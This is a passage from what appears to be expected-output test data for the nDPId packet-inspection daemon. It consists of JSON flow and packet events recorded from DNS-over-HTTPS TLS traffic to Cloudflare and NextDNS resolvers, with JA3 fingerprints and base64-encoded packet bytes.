t85MGeIvvR+JAZ4lQKxhMp4ApqHsqTnv9vjAIsk+AJwp0L3kf96BrAf5lxFwLByeiu2ScazZunSG5IvLxJ2cCZzgYOFm\/xSZPCmFYvKNJw727A0qH0cpDBKVk4Z5vvRen3ROFERblATF0imHD72RVGcQ\/rMrcnTAneuS+605QxQwV5cyssndlHujOT5cJjQwi4Me+A9i\/U+gGMItbvzyiV\/bH\/dnSH\/6+REX1pIGyZTP+9n2MXLAZnibrKAMIRfK2TIfrOe5jmJF94vcBm\/\/5ycPeTZII89RYTOm\/OYD7dCL\/Fj+p2ZF9GMMq1KmH\/crTCIqHICoTep9ezhaM3lurJnltFyZNv3oliEoTfl"} +00825{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":343,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":2,"flow_first_seen":946739380697,"flow_last_seen":946739380725,"flow_tot_l4_data_len":3166,"flow_min_l4_data_len":308,"flow_max_l4_data_len":2858,"flow_avg_l4_data_len":1583,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"1.0.0.1","src_port":53802,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns.cloudflare.com","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"eb1d94daa7e0344597e756a1fb6e7054","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +00508{"flow_id":21,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":344,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":727790,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABosgVAAH4GiM0KAAABAQAAAdIqAbvH6z9rSWN0\/1AYAfXCFwAAFAMDAAEBFwMDADVke5XeBLKUZMMwsdywo3cwWM6dcwvPxEIBrrKuQwAVECVGBCt8L\/1vmMSczXlzhvKSsbEzJA=="} +00536{"flow_id":21,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":345,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":727917,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+sgZAAH4GiLYKAAABAQAAAdIqAbvH6z+rSWN0\/1AYAfXCLQAAFwMDAFFrhWmS7Y1bCOIeKODPz+I7YfqENoT6TMuVqwyG4G3SX6UxpkGUbLXAM6aI3cio6qRGa53fwYiMMoMH2Pgmh7dvXF8VRjQEWsyymfdbjhOkNcQ="} +00653{"flow_id":21,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":346,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":728094,"pkt_caplen":227,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":227,"pkt_l4_len":193,"pkt":"REREREREZmZmZmZmCABFAADVsgdAAH4GiF4KAAABAQAAAdIqAbvH60ABSWN0\/1AYAfXChAAAFwMDAKhknTtbWPjKRxC8RF8H9CkmrA+Bk9ZccxNWxVGeMn2xlgfxJ+N\/oa2lauG31Sz2Z1dteZDbkTjSzDgqVARVb0wPo6eAtwO4lFO50Slr19o+QoMq7p+H6F9zmQss+aX8BSdKO823UvcZWjEYIciGcgJZ3gCCgxZcU44M0uB2tLCuz3HkSp0QwPOmeFciqWF26PpPzwsdHrIS34z6Hc1U7Hanulmh94TGEzY="} +00529{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":347,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":728182,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3sghAAH4GiLsKAAABAQAAAdIqAbvH60CuSWN0\/1AYAfXCJgAAFwMDAEq767GCHBkhaHbAdlZm3WikokYp7v4zgQu7Rm9I87ZE3Ms4u2kntWki1\/MsfU9nA\/21VXFyl+Xnto1xjafwDKCgQrQTqRWdmCH7Kw=="} +00507{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":348,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":746666,"pkt_caplen":116,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":116,"pkt_l4_len":82,"pkt":"ZmZmZmZmRERERERECABFAABmVjlAADoGKJwBAAABCgAAAQG70ipJY3T\/x+s\/q1AYAEKtOQAAFwMDADkrUPubGw3c8lgbV0MtCdPLTgHvJBHR4\/jXPhkhAzyV8w+3SbNR\/LOCcxc8cVbrgbJoNWq\/4I0vIR4="} +00461{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":349,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":746796,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"REREREREZmZmZmZmCABFAABHsglAAH4GiOoKAAABAQAAAdIqAbvH60D9SWN1PVAYAfXB9gAAFwMDABreY+yQL4JOlNgzAoc8Dna7HxE4Kfd\/50P6NA=="} +00460{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":350,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":746884,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHVjtAADoGKLkBAAABCgAAAQG70ipJY3U9x+tAAVAYAELIUAAAFwMDABoDdKRRgvowIzBeiJ2A8GIF6nO3qX8OLZmhvA=="} +01363{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":351,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":751947,"pkt_caplen":752,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":752,"pkt_l4_len":718,"pkt":"ZmZmZmZmRERERERECABFAALiVj5AADoGJhsBAAABCgAAAQG70ipJY3Vcx+tA\/VAYAEN6CQAAFwMDArUf9ixgmjmFz0m\/w2jXCj61L86qQ3Chkv+NnZX6Rc9XgFxdtR3x3KRSE5neNNc5mfNVRPbnTVsaxxEp0Bpptz9AK6kfLx83yndcGY4elD40nXVa\/CpEjWdkb2bc\/yXK0vdfR+MbfHCWDuV0V17mt8G1B8b81bk7F+lKBz+yjY9TPGs9d3wVwYkv4I9Mt6P+MErk4096neTCKdQSDczgvLcJxNOh5QLAuk4MzoaUKVhdGsgW8L6Z3387ycOJPzhYMc+FlshwNSznEGHtodomiTuN0mWoZAGsZXarbK6wAGbnlDagJGwLAGcNE0G9Bo3P7+hIdpQlqQIuE\/fA5bD6Kf7hcyVt7k7J4VcI5Dk+IiCS\/t7OI9Up6IAbhuJHtzmjhvME4lfRgTt8N3BvGWBTXD14zXmlFutzxRjyDEQs6XlPvnSrYD0UySWHfYVAIm0fnd\/KdP9SFaW6XdZP2oxIFMWZ4FLUUWx06YA\/4Cdx79KWI1IHWAqQV2I4GjvV2oWHpmBt8ojvvwZNB8U+M+afoaMYfJtcBaSsxpYWWGy7c0D0mNklQQAvMYZAHYu7Ca35Yt8SV2AFQIDT1YhLLGaWmHOVDpfpT9v+cwltdn3EGh0X8UHwfwqfeZ2nxHSvBVs91IG2t+auJRvdNzmopj+ivRfiKbTv6gcWzStaXFOG6IvRPrMmtmvVKX1aYHt0uosjGVhgX1NmGCkCdqRb66CfAs6sbLrdZ42dxOrHI5Afo8QcjvF5YGcR8NL3NLDdtlyBdTM1vCyAVCGX\/KIpp5IbClmO7QrIgbXMI2IF\/2iNJUvnncTLCZ7IJQ54qCpLJY3S3niCyVuUBez7uGWVDnGEutSOr5NxUFQEfQ22eczsAKTDU1m\/k6thgDlQSkv5BxtjRohpsZWtFsOw4PyAbEDAduhPfnzfOd0="} +00462{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":352,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":751974,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHVj9AADoGKLUBAAABCgAAAQG70ipJY3gWx+tA\/VAYAEPPDQAAFwMDABrNXLyKcHgLTmJsUnEUdkyk+ZLsBWADmGRapQ=="} +00567{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":353,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":752481,"pkt_caplen":160,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":160,"pkt_l4_len":126,"pkt":"REREREREZmZmZmZmCABFAACSsgtAAH4GiJ0KAAABAQAAAdIqAbvH60EcSWN4NVAYAfXCQQAAFwMDAGWQNEaltFFGGaiTqD79TovgQpwacOL4LMC7ieA98g4L9py0YcXlrjN+wu\/teafWE\/UED7VJTR01zH++gpDEghCkcQgh7EQho7LlvWySzL3XY6qTrMToL0m\/4NMDj1u7QBer85M2DQ=="} +00571{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":354,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":752776,"pkt_caplen":164,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":164,"pkt_l4_len":130,"pkt":"REREREREZmZmZmZmCABFAACWsgxAAH4GiJgKAAABAQAAAdIqAbvH60GGSWN4NVAYAfXCRQAAFwMDAGnag5mpGQgyzK72rYLgzjTgXEFF7\/vyM5TeCE56xwsqKcnLoJ5Rnj29UWbQvKgKVIeHXwFZTTBHNy5hunyZRNsfNL\/lBY7OHjRJZ\/tbRyLFVy5Rc8aufiha9M+GIYlpfxX9UzyDOKSKPjo="} +01172{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":355,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":803936,"pkt_caplen":611,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":611,"pkt_l4_len":577,"pkt":"ZmZmZmZmRERERERECABFAAJVVkNAADoGJqMBAAABCgAAAQG70ipJY3g1x+tB9FAYAEM6OwAAFwMDAii8Xmxld8hU204So8nXWjN2bDXb44adJyX9PgYCuYIYjLgHmCQ13e1C77q02upopuuUE+DZH37WWKB0HZQJc4vdpnj+btI1+b2a4Op1YomlhAkd+Z2moUJeXvIWVVVQicor53wHSeMCZVZFWuzDKXAy58RktEsPkmFSISj7AD3WGR5+rXknr8FTc9SCvR2ml8vGZVSewehHfsywPa8nxqU88aLpw\/wzjhBY+E+PFSc0OL7efQJoxJAchIgd75oq26kOoQ+p1\/xyd8hr9WCYzkkuEVDxU3UKt0WiJxfzF3oD15gh+70w8b\/o5oTPup5viecUBoXUONak3zQKCHWU9hunWv+wfGC8C1aY\/VQGhWagW5DR+9F\/H9bc2u7pgBVi4a86fuLOJHKHrxpx45th3SxEOfHLaC435iz0hs4LTr8PwMQYyKa+EcDrl3pwPNRDrhoz9Ps6hGNCpoIXvN\/U8PdLsZh7l5IKHBdPTHtKqwz0ooNk76cTD+NZR2+z7BCX61s02HsZwK8R+PCUhfJ8FZn5biuLNGReXkrWhoEqfnq8+cTZClZlXTKPKWQ3U1NOMOgwnAjhVoB08gTW3DocEFswOvvHa5kmbpNwwgM5uqN+qzzCSyzPq43wdAazRGe9N6Z9y+Z6yjndZYfTKJHI4x+CI8BkaxKNOiT\/QKIueVFJXYYNsbuXqFmYR\/Nq9XCCvX1L35G4Ey8vHgo6ZUHvM1J5RyS0dTJSKwA="} +00463{"flow_id":21,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":356,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":803966,"pkt_caplen":85,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":85,"pkt_l4_len":51,"pkt":"ZmZmZmZmRERERERECABFAABHVkRAADoGKLABAAABCgAAAQG70ipJY3pix+tB9FAYAEPaZQAAFwMDABr+tfnjAL4t\/Y1IAjERbdL\/wJntZcUUnRUN2A=="} +00479{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":358,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":946739380870,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.90.28.0","src_port":33338,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00802{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":358,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":870131,"pkt_caplen":338,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":338,"pkt_l4_len":304,"pkt":"REREREREZmZmZmZmCABFAAFEC7lAAH4G5eQKAAABLVocAII6AbvzwYfFjc3Z3lAYAfYLTQAAFgMBARcBAAETAwME0sG+tMqbxpRl1DV8Z2dnX5LfzpIiHTt74xC1bVbZqCBq5Am0FD9Ax\/Z0hd9jpGF+x36pK3fx2LqXRJeDdYghvgAmwC\/AMMArwCzMqMypwBPACcAUwAoAnACdAC8ANcASAAoTARMDEwIBAACkAAAAEwARAAAOZG5zLm5leHRkbnMuaW8ABQAFAQAAAAAACgAKAAgAHQAXABgAGQALAAIBAAANABoAGAgEBAMIBwgFCAYEAQUBBgEFAwYDAgECA\/8BAAEAABAADgAMAmgyCGh0dHAvMS4xABIAAAArAAkIAwQDAwMCAwEAMwAmACQAHQAghy6XniNnPGDj9u0r7tzchu6tmfTKqCDkZge3YRdGMjI="} +00771{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":358,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":946739380870,"flow_last_seen":0,"flow_tot_l4_data_len":304,"flow_min_l4_data_len":304,"flow_max_l4_data_len":304,"flow_avg_l4_data_len":304,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.90.28.0","src_port":33338,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.2","client_requested_server_name":"dns.nextdns.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02391{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":359,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":903397,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"ZmZmZmZmRERERERECABFAAXUAxlAADQGM\/UtWhwACgAAAQG7gjqNzdne88GI4VAQAnmV4AAAFgMDAHoCAAB2AwNSUVDmrRSBFJr3VlpPTiOBfna69z7Ip3AgaZ4JY8XZPCBq5Am0FD9Ax\/Z0hd9jpGF+x36pK3fx2LqXRJeDdYghvhMBAAAuACsAAgMEADMAJAAdACBgLhCqxZDxBYT0wty93r8WAtFFYd34UV+f0SYd9yF0RxQDAwABARcDAwAgNdJG6I7V9ce0uN\/W8MyCm58pWjfsCFZXXJnMcWaU4P8XAwMJ4l4xzn1tklFeMfXUSkilkOHkR2CrV0Fk61C4hUjayiVX3XCUzF\/nVmk3NsjsUuGQs+ELPFl7aLMJpdeipyb\/BRKM7DDOdlmSjSZFpz3sI+4Ap1vb842GKpbBCp1KIgOgnmXfMMwnL4uKzNN2+XpL8V9LwuMNROahwk9tJrSx3BZQnvVy5qktKVugzkoTSb9fPpFovSjkUbQUBQuFWl2cxLyQBO6gjWiaDBpgoqREkqW2UGurTHpBXCvX7xTK+SGfs3VLNGPL\/jM509wXezmGXrBZolGpSBcCmwqP5AGjSUkJQ2KFF8\/5I5DLe1rWw\/7rCzdCJgW7dwItPpQigYvEpUhaTQyjzhLtXm4Br1gtr+Iuf0HPHYTCtm1Z9061ijlO7AesYAg3NSX4lpTeBeQNzqwAGQi0kxU+8BsfAI4uhNY4fwD\/tgZRm00kCDUGr0Hw1O0\/9wcQo2OrT4hVI8sBPv9rovACUd1xTXQBUu4c2UNVQr\/DAwgtr3oGHXN\/yf6hHksHqaO6ThyUELGPZgyTaAEJeYSlV\/UuFXosuXrXk+4M4bQmtm8xQA\/hPEgZw03CxD+XIQ9CziCJc2Lx3r4h2FdBiMwzohldpvHSBUXM2GuHl07Muv9yz1FfyzqYAimU2llIffa6XcR6\/N9ex4PCYrVYeRifJmT\/hN608lQ56Pm4ckRgIW72lS0ILwL91eG\/PWLw1TWr9OHqib8dqID1N28WvnDQAc1WG+OfvFA5Lx7KtiZ9\/3KI7f7RCYG\/5anpOjN3Yvo+yrHT\/\/9yxTpA2EDhXmw1I+drMKCfdVXEwoRqrQDXQ3qu16NE+piWO4zYtxH6MrZOf5GKUoqj85zhZkJ6n3Wtdfmw0p2w7uWnPZarz2kRT1hGv0H7uWAwQsIO2witiCTCAX0VhCKqX5eg9HlVQxEJ8e6aZG6udk28L+hlu2DjHm2cK3LT5siYCZ+61rOCmuWYzAzB4PZwDYNVRnV0GsHgMCnZc9N4\/ighhHZqiYL81av1zekzo7Qcc39eQmJB1\/vhuqI4+c3vKnv7ROdK1hsAX7hP\/VFs8H8ZF9FxFv36aFuAu1HQxIxhZTCwXDQcu5TzVx1PL5uguNjR7pwef7T5COi4aTCL27yji1k+uS4xQgf7uM7lfjr7UlwSz76e6z\/NdrgDABxN2pYomW51+xON8iXDOy0cXgxInpylLI6lmV7hJWGh+rssjjMTkzOSia\/tb6HN8MDXz8ND7qC4wdRBL+K2XXzk7CxXSZKHbU7oBKE3VuTcSRmBvFAj4jzbuAW9nVI5Yw9M7KxJ0oNCiAer+7rkuV1\/dCwQt\/7\/zkSRGAemKSurrkjoqozLCUcuNRu2YlaJLAc\/PeEJmeHXWSos8ReOKG9libwm6aBbFjBhBGqk11oBFxYMJe3fE8zx0cKng5v141kUW5K8KykDBQPlm38itlnDfJBFaB9Jn9F1Dk+fc1GMvxAKNX1KD189yDAOfdy35szVs+4vU19xgaD3Asb+3zoIgGeHaF3v5zAsODf1V7zFmYGD1A5VyodE+SZcg8yBGqWdCjN6Dq7+yW5n4whEBATh9+W8PK0m19STC9EnY\/KFQ8CMbZglLaqGH9UHLlwuaNZUfgFyrj24dAMianUUp6I5pp2CbweoDVXgQfGbkHcfYC\/73I2CAYRQxi4XFXP\/UJ7vD4Iv633KLKMEpQYwdikhrjOP"} +00823{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":359,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":2,"flow_first_seen":946739380870,"flow_last_seen":946739380903,"flow_tot_l4_data_len":1776,"flow_min_l4_data_len":304,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":888,"midstream":1,"l3_proto":"ip4","src_ip":"10.0.0.1","dst_ip":"45.90.28.0","src_port":33338,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.DoH_DoT","breed":"Fun","category":"Network"},"tls": {"version":"TLSv1.3","client_requested_server_name":"dns.nextdns.io","ja3":"d0ee3237a14bbd89ca4d2b5356ab20ba","ja3s":"f4febc55ea12b31ae17cfb7e614afda8","unsafe_cipher":0,"cipher":"TLS_AES_128_GCM_SHA256","alpn":"h2,http\/1.1","tls_supported_versions":"TLSv1.3,TLSv1.2,TLSv1.1,TLSv1"}} +02333{"flow_id":22,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":360,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":903454,"pkt_caplen":1467,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1467,"pkt_l4_len":1433,"pkt":"ZmZmZmZmRERERERECABFAAWtAxpAADQGNBstWhwACgAAAQG7gjqNzd+K88GI4VAYAnlzfQAACEkFkdj1Us7HE6XsQGxneQX\/pTaXJNHBzTBwjbjFH2PSLY9gxHervwko9HwLHhkgWdiRotlJENzv3dIlV0Q25g7GanzLzAoq\/bJLnF1bxRf0nf8R7xwqHIiEyWrnrfJqukts8v3m8MMBnkDAGd5xOmtynEVhFSJmjPZeWlanPH3W\/gPE9eVpcr\/bC8aD31d4wHJftv6KUYCRDzDXbCSoL\/6F7bgfENCEavhYW2LuID8zVPN+yKzb3WDD71Bfm\/QzlUMFQuZM5HbG0c7uIAOOAxkawVYPNiqL2TFCk1ynXFgmF4gXvbL\/HYrDLFRfjW4de\/NkjjSai08L+PfACua2q5oTvt2qGJPeolVEHsMmZEjEwazNhDwGqFKG5OP+F531r01cH7BTJcZ05QE7qXBrbvqwdtdoGPvG50ZEjeoenLq9i4bYfhTR7gqdrp+nT5HdXBlwZ3BA7TNBvRO28EIkDbwnbkKR1uAOgeHpmVvBpmpiphn4DYQZvVFKBDcAp0CgnjFhQ7BpU5nrco2WQPx+1Dj+wVwuk8wQg4nsuaxF9uoh5BJPTUJDd+oGcKzJnMyQnjiAungCkABFhOHccfPCI4WdjBjLMLNqgoxHw6DJHYylEKtOB9OnnXDF2J7Jvo9Dz26D1KrzmXsDWoLDC1fC96J8yd93fYvTZHskQxfY50BQIAKcBIdr8K4+MowCcaLlKXgQ2BvySvU9B5mJVdaqmTLF1fzesL+WRRK51q7IAwLh77wssc7jt76mm0H3PAWysYvmp\/NCiSKfjKaaLkm9x2NoEkekjBVCT4zJZaY12lyFWkBUvQQdolUu\/1tiRf86EnZ+MpspCpIhymi\/IUp68M\/Eb+2ljNKVmV1Er+pytZKFdhm+LxFZQDgPvwZts5tJVArrKTXEX7mbMUyNCFK87rJIQtF3h75H2QQdF8Dne8XAGsXDDnswycmS8W4DR2ei8Mvw6EchukCH49+5iX+zWw8yLNfbuXrdtwpsTWibehpgDGJwJ32GJ3PUhcT2O8ckRkT01hA4OhJ5s8FVi9G4sK5PSDUaW\/FVD5mXCOlbG6fI8ep93Cq318IKEa9gHWkRIcGP1KNeJ0vqPt6W+fiprWcAT+y38\/pHS\/DIldwWXxoakgp8kEgE10+BHsdUGoLtM0vHARs9JoXziCU\/gwCe4xJoYT7yIuKPLoyyOJzupzLZV+Yx6GthfYTU5x9FRZbuuSu\/4e+BWK3Ph42jg8FFm3MjO7iYnNl4v1+ChQKVR7XODNZWDH3jwqcZ8qhbkD9u5SI6j\/BA1C0rUPcBjh1+6XjoNgW\/MuFBBpUx0b9PcVFriOAhMdQziZ17xbnHnF7nwzD4ltsyPw098+Y62NYg0g7ZzmYgr7Bp\/OQu72rrzto9ZurPdNMKCU\/kuUSQfJNRXnpCKpphgwF89PQmt81ZhzDDg8jGUYjA+eCwP5b5c3W1mHz2rbpTYaJ5WAEPawg7kcD\/0daljt7SoSzY0j1SW+z8PqelVSwUwhQf5v+dUBJntKDTvIA8dd3\/P5RebSAS6fwWCMpEa2Wpe0EbiTKfmmwomuAMmkjN4HlloVMdOTeEonHISxyYlgXipaeXT8CPFbuFXE4ejDU2aTkR9\/ZIbgoZdx7IXmaK+NxS9KICVTe0LPka0QmobSr15yArkyNHaP1EjswXAwMAYdZTBGnK4vcmbufHHRKWT+kPKyQO98Boq8AW86\/7q3c0DIh4T2TuGPAeaW+ueW75g7BJBBU7YuGFvnEEgi07qTSBXDL1UISZX8PwWOHA6mln36hZp5MmWU+JESIy2cQgYeQXAwMANQq+Suu4\/zFTPT1s4z\/CUiKzLUAWytPdwzfRZmXCp50PDxLOSYvzo75EbO+96Njs+ccRggY7"} +00510{"flow_id":22,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":361,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":907201,"pkt_caplen":118,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":118,"pkt_l4_len":84,"pkt":"REREREREZmZmZmZmCABFAABoC7xAAH4G5r0KAAABLVocAII6AbvzwYjhjc3lD1AYAfUKcQAAFAMDAAEBFwMDADXqnL\/aOrn0ACDUNs\/5OlNFpIHBA+TE3F8+\/Z5EIvZ1VnRDRjwJhogJkYt\/Q3H0b0fjAhpU+w=="} +00535{"flow_id":22,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":362,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":907355,"pkt_caplen":140,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":140,"pkt_l4_len":106,"pkt":"REREREREZmZmZmZmCABFAAB+C71AAH4G5qYKAAABLVocAII6AbvzwYkhjc3lD1AYAfUKhwAAFwMDAFFzwYDG03zIsCu775EDRZ4OSzL00weZVbglbgfpbwM8U7J+7uomYsjKj6MjKfVgOgHkAPvTphVgv8ZNnos8qRet2Hk8sVVcepl6hWnfJr3ih7o="} +00657{"flow_id":22,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":363,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":907566,"pkt_caplen":229,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":229,"pkt_l4_len":195,"pkt":"REREREREZmZmZmZmCABFAADXC75AAH4G5kwKAAABLVocAII6AbvzwYl3jc3lD1AYAfUK4AAAFwMDAKq52qmpKIMTU9DsgWdqIK7afq2FM0NbpM7Niaus6XuVyIVHtLOSmXQCJem\/6B6WtQA+HcaL1DZxyysEcf4rL5RBCsmRb7hMYSqlCi1wEW0orrRrhNkVDisZS9HMQG9zM8\/MU4rFnzKScSDlZjxS60U1yQn7D3mfC+Tj5yw7387V7zYgjH4vsa2RMq+OVLofV1o9IklOfRIH5rnN50ZGy6vkx8IFPqduuAKKdg=="} +00529{"flow_id":22,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":364,"source":"dnscrypt-v2-doh.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":946739380,"pkt_ts_usec":907685,"pkt_caplen":133,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":133,"pkt_l4_len":99,"pkt":"REREREREZmZmZmZmCABFAAB3C79AAH4G5qsKAAABLVocAII6AbvzwYomjc3lD1AYAfUKgAAAFwMDAErDi1XUYYWaVlCpX3jrDeiXqG+Hu\/N4mntL4jSwcHbj5t5mtgWnGjU\/o\/R9CihGCSpuogFnJCSlkLHNnJxyAHvuBvf8c92WMEoLOg=="} 